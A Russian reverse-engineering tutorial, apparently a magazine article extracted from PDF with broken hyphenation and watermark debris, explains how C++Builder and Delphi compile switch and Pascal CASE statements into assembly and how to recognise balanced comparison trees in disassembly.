
 

 

Коман­ ­да TEST не меняет­ значение­

 

операн­ ­дов, поэтому­

присваиваем­

переменной­

 

var_18 значение­

0х666. Выходит, var_18 — автомати­

­чес­кая

переменная­ , созданная­

switch для своей­ работы, чтобы­ при изменении­

var_14 внутри­ какой либо ветки­ кода это не повлияло­

на дальнейший­

выбор

пути выполнения­

.

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

mov

 

 

 

[rbp+var_18], ecx

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

Совер­ шаем­

 

прыжок­

следующей­

командой­

только­

 

в

том

случае­ ,

 

когда­

в результате­

выполнения­

предыду­

щего­

 

сравнения­

флаг ZF стал равен еди ­

нице, а это могло­ произой­

ти­ , только­ когда­ операнд­

равен нулю. Но в рас ­

сматрива­

емом­

примере­

это не так, поэтому­ пропус­ каем­

прыжок­ .

 

 

 

 

 

 

 

 

jz

 

short

loc_401454

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

Судя­ по месту­ назначения­

 

этого­ перехода­ , код получен трансля­ цией­

ветки­

case 0: printf("a == 0");.

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

По идее, от следующей­

инструк­ ции­

можно­ избавить­

ся­ . Напрасно­

ком ­

пилятор ее вставил­ , посколь­

ку­ она ничего полезного­

не делает­ , а только­

занимает­ место­ . Посуди сам: $ указыва­

ет­ на текущую позицию в программе­

,

 

а команда­ jmp занимает­ два байта­ — получается­

, она только­ переводит­

выполнение­

через себя.

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

jmp

 

short

$+2

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

;------------------------------------------------

loc_40142B: ; CODE XREF: main+29↑j

;В var_18 находится число 0х666, помещаем его в EAX

mov

eax, [rbp+var_18]

;Уменьшаем EAX на единицу! Что это может значить?

;Никакого вычитания в нашей программе не было!

sub eax, 1

; Сохраняем значение разности в переменной var_1C

mov [rbp+var_1C], eax

Совер­ ­шаем следующий­ переход на основе­ флага­ , если ZF == 1, но кто же его установил­ ? Вспомина­ ­ем: SUB — та же CMP, только­ изменяющая­ значение­ операн­ ­да приемни­ ­ка. Другими­ словами­ , в него помещается­ разность­ . Но в нашем случае­ ZF не равен единице­ , так как результат­ вычитания­ не равен нулю. Выходит, этот код получен трансля­ ­цией ветки­ case 1: printf("a == 1"), что подтвержда­ ­ет просмотр­ области, куда указыва­ ­ет переход.

Таким­ образом­ , данная­ конструк­ ­ция просто­ завуали­ ­рован­ная провер­ ­ка EAX на равенство­ нулю! Ох и хитрый­ же этот C++Builder-компилятор­ !

jz short loc_401465

; Делаем принудительный шаг вперед, хотя можно было бы обойтись без

дополнительной команды

jmp

short $+2

; ------------------------------------------------

 

loc_401438:

; CODE XREF: main+36↑j

; В var_18

находится число 0х666, помещаем его в EAX для выполнения

дальнейших

вычислений

 

 

mov

eax, [rbp+var_18]

Вычита­

ем­ из значения­

var_18 2, иными­ словами­

, исходя­ из нашего анализа­

выше, сравнива­

ем­ значение­

переменной­

var_18 с числом­

2. Выходит, этот

код получен трансля­ цией­

ветки­ case 2: printf("a == 2").

 

 

sub

eax, 2

 

 

 

 

 

 

 

 

 

mov

[rbp+var_20], eax

 

 

Переход­ выполняет­ ся­ , если установ­ лен­ флаг нуля. А он будет установ­ лен­ , ког ­ да после­ вычитания­ двойки­ командой­ SUB в EAX останет­ ся­ ноль, то есть исходное значение­ EAX должно­ быть равно­ двум. Но этого­ не случилось­ . Поэтому­ продол­ жаем­ выполнение­ .

jz

short

loc_401476

jmp

short

$+2

; ------------------------------------------------

 

 

loc_401445:

 

; CODE XREF: main+43↑j

mov

eax, [rbp+var_18]

Сравнива­ ем­ неизменную­ var_18 с 0x666. Бинго­ ! После­ вычитания­ получился­ ноль! Следова­ тель­ но­ , возводим­ флаг ZF.

sub

eax, 666h

mov

[rbp+var_24], eax

Так как флаг ZF равен единице­ , совершаем­ переход к ветке­ loc_401487, где происхо­ ­дит вывод строки­ "a == 666h". Значит­ , этот код получен после­ тран ­

сляции­ ветки­ case 0x666: printf("a == 666h");.

jz

short loc_401487

Если­ бы предыду­ щий­ переход не был выполнен­ , то с помощью следующе­ го­ безусловно­ го­ перехода­ мы бы сделали­ прыжок­ на ветку­ Default.

 

jmp

short loc_401498

 

 

; ------------------------------------------------

 

 

 

 

; Сами ветки

 

 

 

 

loc_401454:

 

 

;

CODE XREF: main+27↑j

; printf("a == 0");

 

 

 

 

lea

rcx, aA0

;

"a == 0"

 

call

printf

 

 

 

mov

[rbp+var_28], eax

 

 

jmp

short loc_4014A7 ; break

; ------------------------------------------------

 

 

 

 

loc_401465:

 

 

;

CODE XREF: main+34↑j

; printf("a == 1");

 

 

 

 

lea

rcx, aA1

;

"a == 1"

 

call

printf

 

 

 

mov

[rbp+var_2C], eax

 

 

jmp

short loc_4014A7 ; break

; ------------------------------------------------

 

 

 

 

loc_401476:

 

 

;

CODE XREF: main+41↑j

; printf("a == 2");

 

 

 

 

lea

rcx, aA2

;

"a == 2"

 

call

printf

 

 

 

mov

[rbp+var_30], eax

 

 

jmp

short loc_4014A7 ; break

; ------------------------------------------------

 

 

 

 

loc_401487:

 

 

;

CODE XREF: main+50↑j

; printf("a == 666h");

 

 

 

 

lea

rcx, aA666h

;

"a == 666h"

 

call

printf

 

 

 

mov

[rbp+var_34], eax

 

 

jmp

short loc_4014A7 ; break

; ------------------------------------------------

 

 

 

 

loc_401498:

 

 

;

CODE XREF: main+52↑j

; printf("Default");

 

 

 

 

lea

rcx, aDefault

;

"Default"

 

call

printf

 

 

 

mov

[rbp+var_38], eax

 

loc_4014A7: ; конец switch

;

CODE XREF: main+63↑j

 

 

 

;

main+74↑j ...

; Возвращаем 0

 

 

 

 

 

mov

[rbp+var_4], 0

 

 

 

mov

eax, [rbp+var_4]

 

 

; Восстанавливаем стек

 

 

 

 

add

rsp, 60h

 

 

; Закрываем кадр стека

 

 

 

 

pop

rbp

 

 

 

retn

 

 

 

main

endp

 

 

 

C++Builder проявил­ большую­ креатив­ ­ность. Сравнил­ переменную­ с нулем он при помощи инструк­ ­ции TEST, а для всех остальных­ случаев­ вместо­ инструк­ ­ ции CMP, как это сделал­ Visual C++, C++Builder восполь­ ­зовал­ся командой­ вычитания­ SUB. Оптимиза­ ­тор на основе­ своих­ глубин­ ­ных знаний­ посчитал­ , что такой код будет быстрее­ выполнять­ ­ся!

Вот только­ нам, хакерам, от этого­ решения ничуть не легче­ . Ведь прямая­ ретран­ ­сля­ция кода дает конструк­ ­цию вроде­

if (a == 0) printf("a == 0"); else

if (a == 1) printf("a == 1"); else

if (a == 2) printf("a == 2"); else

if (a == 0x664) printf("a == 666h"); else

printf("Default");

В ней совсем­

 

не угадыва­

ется­

оператор­

 

switch! Впрочем­ , почему это не уга ­

дывается­

? Угадыва­

ется­

, еще как! Где есть длинная­

 

цепочка­ IF

 

THEN

ELSE — IF — THEN

 

 

ELSE…,

там и до switch недалеко­ !

Узнать оператор­

множес­ твен­

ного­

выбора будет еще легче­ , если изобразить­

его в виде

логического­

 

дерева.

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

Другая­

характерная­

деталь — case-обработ­ чики­

, точнее­

оператор­

break,

традици­

онно­

замыкающий­

каждый­

из них. Они то и образуют­

правую­

полови ­

ну «косички­ », сходясь­

все вместе­ в точке­ Z. Правда­ , многие­ программис­

ты­

питают­ патологичес­

кую­

любовь к case-обработ­ чикам­

 

размером­

в два три

экрана­ , включая­ в них, помимо всего­ прочего­

, и циклы­ , и ветвле­ ния­ , и даже

вложен­ ные­

операто­

ры­ множес­ твен­

ного­

 

выбора! В результате­

правая­

часть

«косички­ » превраща­

ется­

в непроходи­

мый­

таежный­

 

лес, сквозь

 

 

который

не проберет­

ся­ и стадо­ слонопо­

тамов­

. Но даже если и так, левая часть «косич ­

ки» все равно­ останет­ ся­ достаточ­

но­ простой­ и легко­ распозна­

ваемой­

.

 

 

 

 

 

 

 

В более сложных­ деревьях­ , имеющих­

 

большее­

количество­ условий­ — нес ­

колько­ десятков­ или сотен (как мы знаем­ , программис­

ты­ любят нашпиговы­

­

вать операто­

ры­ switch условиями­

), компилятор­

может вставить­

 

 

допол ­

нительное­

условие­ , которого­ не было в исходной программе­

. Зачем же он

занимается­

такой самодеятель­

ностью­

?

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

Когда­ в программе­

много­ условий­ , процес­ сор­

совсем­

запаривает­

ся­ про ­

верять их все (а по закону подлости­

нужный­

case будет в самом конце­ ).

Поэтому­ компилятор­

с помощью дополнитель­

ного­

условия­ разделя­

ет­ дерево

на два или большее­

количество­

 

в зависимос­ ти­ от добавленных­

 

условий­ ,

уменьшая­

его высоту. Вместо­ одной ветви­ трансля­ тор­ постро­ ит­ две, помес ­

тив в левую часть только­ числа­ , меньшие­

определен­

ного­

значения­

, а в пра ­

вую — все остальные­ . Благода­

ря­ этому­ условия­

из конца­ дерева будут

перенесены­

 

 

в его начало. Данный­

 

 

 

метод оптимиза­

ции­

поиска­

 

 

значений­

называют­ методом вилки­ , но не будем сейчас­ на нем останав­ ливать­

ся­ , а луч ­

ше разберем­

его в разделе­

«Обрезка длинных­ деревьев­ ».

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

Изменение­

порядка­ сравнений­

 

— право­ компилято­

ра­ . Стандарт­

 

ничего

об этом не говорит, и каждая­

 

 

реализация­

 

вольна­ поступать­

так, как ей заб ­

лагорассудит­

ся­ . Другое­ дело — case-обработ­ чики­

(то есть тот код, которому­

case передает­ управление­

 

в случае­

 

истинности­ отношения­

). Они обязаны­

располагать­

ся­ так, как были объявле­

ны­ в программе­

,

посколь­

ку­ при отсутс ­

твии закрыва­

юще­

го­

 

операто­

ра­ break они

 

 

должны­

 

 

 

выполнять­

ся­

 

 

строго­

в задуманном­

программис­

том­

 

порядке­ , хотя эта возможность­

 

 

языка­ C

использует­ ся­ крайне­ редко­ .

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

Таким­ образом­ , идентифика­

ция­ операто­

ра­ switch не сильно­ усложняется­

:

если после­ уничтожения­

узлового­

 

гнезда­ и привив­ ки­ правой­

 

ветки­ к левой

(или наоборот­ ) мы получаем­ эквивален­

тное­

дерево и это дерево образует­

характерную­

 

«косичку­ », мы имеем­

 

 

 

дело с операто­

ром­

множес­ твен­

ного­

выбора или его аналогом­

.

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

Продолжение статьи0

 

 

 

hang

e

 

 

 

 

 

 

C

 

 

E

 

 

 

X

 

 

 

 

 

 

 

-

 

 

 

 

 

 

d

 

 

F

 

 

 

 

 

 

 

t

 

 

D

 

 

 

 

 

 

 

i

 

 

 

 

 

 

 

 

 

r

P

 

 

 

 

 

NOW!

o

 

 

 

 

 

 

 

 

 

wClick

 

c

 

o m

ВЗЛОМ

 

 

 

 

 

 

 

 

 

to

BUY

 

 

 

 

 

w

 

 

 

 

 

 

 

 

 

w

 

 

 

 

 

 

.c

 

 

.

 

 

 

 

 

 

 

 

p

 

 

 

 

 

g

 

 

 

 

df

-x

 

n

e

 

 

 

 

ha

 

 

 

 

 

 

 

 

 

hang

e

 

 

 

 

 

 

 

 

C

 

E

 

 

 

 

 

X

 

 

 

 

 

 

 

-

 

 

 

 

 

d

 

 

 

F

 

 

 

 

 

 

t

 

 

 

D

 

 

 

 

 

 

 

i

 

 

 

 

 

 

 

 

 

 

r

 

P

 

 

 

 

 

NOW!

o

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

w

 

 

 

 

 

 

 

 

m

 

0НАЧАЛО СТАТЬИw Click

to

BUY

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

w

 

 

 

c

 

 

 

o

 

 

 

.

 

 

 

 

 

.c

 

 

 

 

p

 

 

 

 

g

 

 

 

 

 

 

df

 

 

n

e

 

 

 

 

 

 

-x ha

 

 

 

 

РАЗБИРАЕМ САМОДЕЯТЕЛЬНОСТЬ КОМПИЛЯТОРОВ ПРИ ТРАНСЛЯЦИИ ОПЕРАТОРА ВЫБОРА

ОТЛИЧИЯ SWITCH ОТ ОПЕРАТОРА CASE ЯЗЫКА PASCAL

Оператор­ CASE языка­ Pascal практичес­ ­ки идентичен­ своему­ С собрату­ — операто­ ­ру switch, хотя и близнецами­ их не назовешь: CASE выгодно­ отли ­ чается­ поддер­ ­жкой наборов и диапазонов­ значений­ .

Если­ обработ­ ку­ наборов можно­ реализовать­ и через switch, правда­ не так элеган­ тно­ , как на Pascal (смотри­ следующий­ листинг­ ), то проверить­ вхождение­ значения­ в диапазон­ на C получится­ исключитель­ но­ с помощью конструк­ ции­ IF — THEN — ELSE. Зато в Pascal каждый­ case-обработ­ чик­ при ­ нудитель­ но­ завершает­ ся­ неявным­ break, а С программист­ волен ставить­ (или не ставить­ ) его по своему­ усмотрению­ .

Сравнение­ case со switch

Однако­ оба языка­ накладыва­ ­ют жесткое­ ограниче­ ­ние на выбор сравнива­ ­ емой переменной­ : она должна­ принад­ ­лежать к численно­ ­му типу, а все наборы (диапазоны­ ) значений­ представ­ ­лять собой констан­ ­ты или кон ­ стантные выражения­ , вычисляемые­ на стадии­ компиляции­ . Подста­ ­нов­ка переменных­ или вызовов функций­ не допускает­ ­ся.

Любопыт­ ­но было бы посмотреть­ , как Pascal трансли­ ­рует провер­ ­ку диапа ­ зонов, и сравнить­ его с компилято­ ­рами языка­ C. Рассмот­ ­рим следующий­ пример­ :

program many_cases_d;

{$APPTYPE CONSOLE}

{$R *.res}

uses

System.SysUtils;

var

a: LongInt; begin

a:= 6; case a of

2 : WriteLn('a == 2');

4, 6 : WriteLn('a == 4 | 6 ');

10..100 : WriteLn('a == [10,100]');

end;

end.

Резуль­ тат­ его компиляции­ компилято­ ром­ Delphi 10.4 должен­ выглядеть­ так:

public _ZN12Many_cases_d14initializationEv

_ZN12Many_cases_d14initializationEv proc near

; DATA XREF: HEADER:

0000000000400128↑o

; .pdata:0000000000448328↓o

; __unwind { //

_ZN6System23_DelphiExceptionHandlerEPNS_16TExceptionRecordEyPvS2_

; Открываем кадр стека

push

rbp

; Резервируем 0х20 байт

в стеке

sub

rsp, 20h

mov

rbp, rsp

mov

rax, cs:off_432120

; В RAX помещаем значение 1

mov

byte ptr [rax], 1

nop

 

; В RCX помещаем указатель на область памяти размером в 0х12 (18)

байт

lea rcx, qword_429088

;Вызываем процедуру для инициализации исполнительного модуля операционной среды

;В качестве параметра передается указатель на область памяти

call _ZN7Sysinit8_InitExeEPv

; Значение 0х6 помещается в память, все указывает на то, что это

наша переменная a...

mov

cs:_ZN12Many_cases_d1aE, 6

; Затем значение перемещается в регистр

mov

eax, cs:_ZN12Many_cases_d1aE

; Вычитаем из EAX значение 0х2

sub

eax, 2

; Проверяем на равенство нулю

test

eax, eax

;Если флаг нуля возведен, делаем переход на ветку, где выводится "a == 0"

;В нашем случае продолжаем выполнение

 

jz

 

short loc_428F8E

;

Еще вычитаем из

EAX 0x2

 

sub

eax, 2

;

Снова проверяем

на равенство нулю

 

test

eax, eax

Если­ флаг нуля возведен­

, делаем­ переход на ветку­ , где выводится­ "a == 4 |

6 ", это похоже на наш случай­ , но предыду­

щий­

test не возвел­

флаг ZF, так

как в результате­

вычитания­ получилось­

число­ 2.

 

 

jz

short loc_428FB0

 

 

 

 

 

 

 

 

; Снова такое же вычитание...

 

 

 

 

 

sub

 

eax, 2

 

 

 

 

; ...и проверка

 

 

 

 

 

 

 

test

 

eax, eax

 

 

 

 

На этот раз результат­ разности­ удовлетво­ ряет­ условию­ перехода­ , поэтому­ совершаем­ прыжок­ на ту же самую ветку­ , на которую был переход выше, где выводится­ "a == 4 | 6 "!

jz

short loc_428FB0

;Предположим, в параллельной вселенной выполнение продолжилось

;Тогда после нахождения очередной разности

sub

eax,

4

; проверяем EAX

 

 

cmp

eax,

5Bh ; '['

Если­ значение­ в нем больше­ или равно­ (то есть не меньше­ ) 0х5B (91), зна ­ чит, все условные переходы­ прошли­ лесом и мы совершаем­ прыжок­ в конец

CASE.

jnb

short loc_428FF2 ; Эта метка играет роль

оператора break

 

Если­ предыду­

щий­

переход не

сработал­

,

значит­ , наше число­ попадает­

в диапазон­ , поэтому­ переходим­

на следующую­

метку­ , чтобы­ вывести­ соот ­

ветству­ ющую­

надпись­

.

 

 

 

 

 

 

 

 

 

jmp

 

 

short loc_428FD2

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

; ------------------------------------------------

 

 

 

 

 

 

 

 

 

 

 

loc_428F8E: ; CODE XREF: _ZN12Many_cases_d14initializationEv+34↑j

 

 

 

 

mov

 

rcx, cs:off_431F40

 

 

 

 

 

lea

 

rdx, aA2

 

; "a == 2"

 

 

 

 

call

 

 

 

 

 

 

 

_ZN6System14_Write0UStringERNS_8TTextRecENS_13UnicodeStringE

 

 

 

 

mov

 

rcx, rax

 

 

 

 

 

 

 

call

_ZN6System8_WriteLnERNS_8TTextRecE

 

 

 

 

call

_ZN6System8__IOTestEv

 

 

 

 

jmp

 

short loc_428FF2 ; break

 

 

; ------------------------------------------------

 

 

 

 

 

 

 

 

 

 

 

loc_428FB0: ; CODE XREF: _ZN12Many_cases_d14initializationEv+3B↑j

 

 

 

; _ZN12Many_cases_d14initializationEv+42↑j

 

 

 

 

mov

 

rcx, cs:off_431F40

 

 

 

 

 

lea

 

rdx, aA46

 

; "a == 4 | 6 "

 

 

 

 

call

 

 

 

 

 

 

 

_ZN6System14_Write0UStringERNS_8TTextRecENS_13UnicodeStringE

 

 

 

 

mov

 

rcx, rax

 

 

 

 

 

 

 

call

_ZN6System8_WriteLnERNS_8TTextRecE

 

 

 

 

call

_ZN6System8__IOTestEv

 

 

 

 

jmp

 

short loc_428FF2 ; break

 

 

; ------------------------------------------------

 

 

 

 

 

 

 

 

 

 

 

loc_428FD2: ; CODE XREF: _ZN12Many_cases_d14initializationEv+4C↑j

 

 

 

 

mov

 

rcx, cs:off_431F40

 

 

 

 

 

lea

 

rdx, aA10100

 

; "a == [10,100]"

 

 

 

 

call

 

 

 

 

 

 

 

_ZN6System14_Write0UStringERNS_8TTextRecENS_13UnicodeStringE

 

 

 

 

mov

 

rcx, rax

 

 

 

 

 

 

 

call

_ZN6System8_WriteLnERNS_8TTextRecE

 

 

 

 

call

_ZN6System8__IOTestEv

 

loc_428FF2: ; CODE XREF: _ZN12Many_cases_d14initializationEv+4A↑j

; _ZN12Many_cases_d14initializationEv+6E↑j ...

;Конец CASE

;Процедура останавливает выполнение приложения

call _ZN6System6_Halt0Ev

;------------------------------------------------

;Если никакое исключение не возникло, делаем безусловный прыжок в обход перехватчика исключения

jmp short loc_429001

; ------------------------------------------------

db 2 dup(90h)

;------------------------------------------------

;Если возникла исключительная ситуация, ловим ее, чтобы не дать ей вмешаться в работу операционной системы

call

_ZN6System19_UnhandledExceptionEv

; ------------------------------------------------

 

 

db

90h

 

; ------------------------------------------------

 

 

loc_429001: ; CODE

XREF: _ZN12Many_cases_d14initializationEv+B7↑j

;Конец приложения:

;восстанавливаем стек

 

 

 

lea

rsp, [rbp+20h]

;

и

закрываем

кадр стека

 

 

 

 

pop

rbp

 

 

 

retn

 

;

}

// starts

at 428F40

 

_ZN12Many_cases_d14initializationEv endp

Почему­ же компилятор­ , чтобы­ найти­ попадание­ в диапазон­ , в качестве­ вер ­ хнего­ предела­ взял не 0х64 (100), как прописа­ ­но в исходном коде, а 0х5B ( 91)? Дело в том, что, учитывая­ все предыду­ ­щие вычитания­ , это будет наибольшее­ из возможных­ значений­ .

Условные­ операто­ ­ры, в частнос­ ­ти операто­ ­ры выбора, предос­ ­тавля­ют ком ­ пилятору­ широчайший­ творческий­ простор­ для генерации­ двоично­ ­го кода! К примеру­ , если взглянуть­ на исходный текст нашей программы­ , никакого­ вычитания­ там и в помине не было!

ОБРЕЗКА ДЛИННЫХ ДЕРЕВЬЕВ

В некоторых­ (хотя и редких­ ) случаях­ операто­ ­ры множес­ ­твен­ного выбора содержат­ сотни­ (а то и тысячи) наборов значений­ , и если решать задачу срав ­ нения в лоб, то высота логического­ дерева окажет­ ­ся гигантской­ до неп ­ риличия, а его прохож­ ­дение займет­ весьма­ длитель­ ­ное время­ , что не лучшим­ образом­ скажет­ ­ся на произво­ ­дитель­нос­ти программы­ .

Но задумайся­ : чем, собствен­ но­ , занимается­ оператор­ switch? Если отвлечься­ от устоявше­ го­ мнения­ , что switch дает специаль­ ный­ способ­ выбора одного­ из многих­ вариантов­ (который заключа­ ется­ в провер­ ке­ сов ­ падения значения­ данного­ выражения­ с одной из заданных­ констант­ и соот ­ ветству­ ющем­ ветвле­ нии­ ), то можно­ сказать­ , что switch — оператор­ «поиска­ соответс­ тву­ юще­ го­ значения­ ». В таком случае­ каноничес­ кое­ switch-дерево представ­ ляет­ собой тривиаль­ ный­ алгоритм­ «последова­ тель­ ного­ поиска­ » — самый неэффектив­ ный­ алгоритм­ из всех.

Пусть, например­ , исходный текст программы­ выглядел­ так:

switch (a)

{

case 98 : …;

case 4 : …;

case 3 : …;

case 9 : …;

case 22 : …;

case 0 : …;

case 11 : …;

case 666 : …;

case 096 : …;

case 777 : …;

case 7 : …;

}

Тогда­ соответс­ тву­ ющее­ ему неоптимизи­ рован­ ное­ логическое­ дерево будет достигать­ в высоту одиннадцать­ гнезд.

Логичес­ кое­ дерево до утрамбовки­

Причем­ на левой ветке­ корневого­ гнезда­ окажет­ ­ся аж десять других­ гнезд, а на правой­ вообще­ ни одного­ (только­ соответс­ ­тву­ющий ему case-обработ­ ­ чик).

Испра­ ­вить «перекос» можно­ , разрезав­ одну ветку­ на две и привив­ обра ­ зовавшиеся­ половинки­ к новому гнезду­ , которое содержит­ условие­ , опре ­ деляющее­ , в какой из веток следует­ искать сравнива­ ­емую переменную­ . Нап ример, левая ветка­ может содержать­ гнезда­ с четными­ значени­ ­ями, а пра ­ вая — с нечетными­ . Но это плохой­ критерий­ : четных­ и нечетных­ значений­ ред ­ ко бывает­ поровну­ , и вновь образует­ ­ся перекос.

Гораз­ до­ надежнее­ поступить­ так: берем наименьшее­ из всех значений­ и бросаем­ его в кучу А, затем берем наибольшее­ из всех значений­ и бросаем­ его в кучу B. Так повторя­ ем­ до тех пор, пока не рассорти­ руем­ все имеющиеся­ значения­ .

Посколь­ ­ку оператор­ множес­ ­твен­ного выбора требует­ уникаль­ ­нос­ти каж ­ дого значения­ , то есть каждое­ число­ может встречать­ ­ся в наборе (диапазоне­ ) значений­ лишь однажды, легко­ показать, что:

в обеих­ кучах будет содержать­ ­ся равное­ количество­ чисел (в худшем­ слу ­ чае — в одной куче окажет­ ­ся на число­ больше­ );

все числа­ кучи A меньше­ наименьшего­ из чисел кучи B.

Следова­ ­тель­но, достаточ­ ­но выполнить­ только­ одно сравнение­ , чтобы­ опре ­ делить, в какой из двух куч следует­ искать сравнива­ ­емые значения­ .

Высота­ нового дерева будет равна­ N+12 + 1, где N — количество­ гнезд ста ­ рого дерева. Действи­ ­тель­но, мы же делим ветвь дерева надвое­ и добавляем­ новое гнездо­ — отсюда­ и берется­ N2 и +1, а N + 1 необходимо­ для округления­ результата­ деления в большую­ сторону­ . К примеру­ , если высота неоптимизи­ ­ рованного­ дерева достигала­ 100 гнезд, то теперь она уменьшилась­ до 51.

Что? Говоришь, 51 все равно­ много­ ? А что нам мешает­ разбить­ каждую­ из двух ветвей­ еще на две? Это уменьшит­ высоту дерева до 27 гнезд! Ана ­ логично­ последу­ ющее­ уплотнение­ даст 16 → 12 → 11 → 9 → 8... и все! Более плотная­ упаков­ ка­ дерева невозможна­ (подумай почему, на худой конец — построй­ само дерево). Но согласись­ , восемь гнезд — это не сто! Полное­

прохож­ ­дение оптимизи­ ­рован­ного дерева потребу­ ­ет менее девяти срав ­ нений!

«Трамбовать­ » логические­ деревья операто­ ра­ множес­ твен­ ного­ выбора умеют­ практичес­ ки­ все компилято­ ры­ , даже неоптимизи­ рующие­ . Это увеличи­ ­ вает произво­ дитель­ ность­ , но затрудня­ ет­ анализ­ откомпилиро­ ван­ ной­ прог ­ раммы. Взгляни­ еще раз на рисунок «Логическое­ дерево до утрамбовки­ » — несбалан­ сирован­ ное­ дерево наглядно­ и интуитив­ но­ понятно­ . После­ балан ­ сировки­ же (схема­ «до утрамбовки­ » выше) — в нем сам Тигра­ хвост обломит­ .

 

Логичес­

кое­ дерево после­ утрамбовки­

 

 

 

 

 

 

 

 

 

 

 

 

К счастью, балансиров­

ка­

дерева допускает­

эффективное­

обращение­

.

Но прежде­ чем засучить рукава и пригото­

вить­

ся­ к лазанью по деревьям­ (а

Тигра­ лазает­ по деревьям­ лучше­ всех!), введем­

понятие балансировоч­

ного­

узла.

 

 

 

 

 

 

 

 

 

Балан­ сировоч­ ный­ узел не изменяет­ логики работы двоично­ го­ дерева и является­ факультатив­ ным­ узлом, единствен­ ная­ функция­ которого­ — уко ­ рачивание­ длины­ ветвей­ . Балансировоч­ ный­ узел без потери функци­ ональ­ ­ ности­ дерева может быть замещен любой из своих­ ветвей­ . Причем­ каждая­ ветвь балансировоч­ ного­ узла должна­ содержать­ одно или больше­ гнезд.

Рассуждая­ от против­ ного­ : если все узлы логического­ дерева, правая­ ветка­ которых содержит­ одно или более гнезд, могут быть замещены­ этой самой правой­ веткой­ без потери функци­ ональ­ нос­ ти­ дерева, то данная­ конструк­ ция­ представ­ ляет­ собой оператор­ switch. Почему именно­ правая­ ветка­ ? Так ведь оператор­ множес­ твен­ ного­ выбора в разверну­ том­ состоянии­ представ­ ляет­ цепочку­ гнезд, соединен­ ных­ левыми ветвями­ друг с другом­ , а на правых­ дер ­ жатся case-обработ­ чики­ . Вот мы и пытаемся­ подцепить­ все правые­ гнезда­ на левую ветвь. Если это удается­ , мы имеем­ дело с операто­ ром­ множес­ твен­ ­ ного выбора, а нет — с чем то другим­ .

Рассмот­ ­рим обращение­ балансиров­ ­ки на примере­ следующе­ ­го дерева.

Обращение­ балансиров­ ки­ логического­ дерева — шаг 1

Двигаясь­ от левой нижней­ ветви­ , мы будем продол­ жать­ взбирать­ ся­ на дерево до тех пор, пока не встретим­ узел, держащий­ на своей­ правой­ ветви­ одно или более гнезд. В нашем случае­ это узел (а > 5). Смотри­ : если данный­ узел заменить гнездами­ (а == 7) и (а == 9), функци­ ональ­ ность­ дерева не нарушит ­ ся!

Обращение­ балансиров­ ки­ логического­ дерева — шаг 2

Аналогич­ ­но узел (а > 10) может быть безболез­ ­ненно заменен гнездами­ (а > 96), (а == 96), (а == 22) и (а == 11), а узел (а > 96), в свою очередь­ , гнездами­

(а == 98), (а == 666) и (а == 777). В конце­ концов­ образует­ ­ся классичес­ ­кое switch-дерево, в котором оператор­ множес­ ­твен­ного выбора распозна­ ­ется с первого­ взгляда­ .

Обращение­ балансиров­ ки­ логического­ дерева — шаг 3

Сложные случаи балансировки, или оптимизирующая балансировка

Для уменьшения­ высоты «утрамбовыва­ ­емо­го» дерева хитрые­ трансля­ ­торы стремят­ ­ся замещать гнезда­ балансировоч­ ­ными узлами­ . Рассмот­ ­рим сле ­ дующий пример­ .

Хитрый­ случай­ балансиров­ ки­

Для уменьшения­ высоты дерева трансля­ тор­ разбива­ ет­ его на две полови ­ ны — в левую идут гнезда­ со значени­ ями­ , меньшими­ единицы­ или равными­ ей, а в правую­ — все остальные­ . Казалось бы, на правой­ ветке­ узла (а > 1)

должно­ висеть гнездо­ (а == 2), ан нет! Здесь мы видим узел (а > 2), к левой ветке­ которого­ прицеп­ лен­ case-обработ­ чик­ :2! А что, вполне­ логично­ : если

(а>1) и !(а>2), то а == 2!

Легко­ видеть, что узел (а > 2) жестко­ связан­ с узлом (а > 1) и работает­ на пару с последним­ . Нельзя­ выкинуть один из них, не нарушив работос ­ пособности­ другого­ ! Обратить­ балансиров­ ку­ дерева по описан­ ному­ выше алгорит­ му­ без нарушения­ его функци­ ональ­ нос­ ти­ невозможно­ . Отсюда­ может создать­ ся­ мнение­ , что мы имеем­ дело вовсе­ не с операто­ ром­ множес­ твен­ ­ ного выбора, а с чем то другим­ .

Чтобы­ развеять­ это заблужде­ ­ние, придет­ ­ся предпри­ ­нять ряд дополнитель­ ­ ных шагов. Первое­ — у switch-дерева все case-обработ­ ­чики всегда­ находятся­ на правой­ ветви­ . Смотрим­ , можно­ ли трансфор­ ­мировать наше дерево так, чтобы­ case-обработ­ ­чик 2 оказал­ ­ся на левой ветви­ балансировоч­ ­ного узла? Да, можно­ : изменив­ (а > 2) на (а < 3) и поменяв ветви­ местами­ (другими­ сло ­ вами, выполнив­ инверсию). Второе­ — все гнезда­ switch-дерева содержат­

в себе условия­ равенства­ . Смотрим­ , можем ли мы заменить неравенство­ (а < 3) аналогич­ ным­ ему равенством­ ? Конечно­ же, можем — (а == 2)!

После­ всех этих преобра­ ­зова­ний обращение­ балансиров­ ­ки дерева уда ­ ется выполнить­ без труда­ !

Ветвления в case-обработчиках

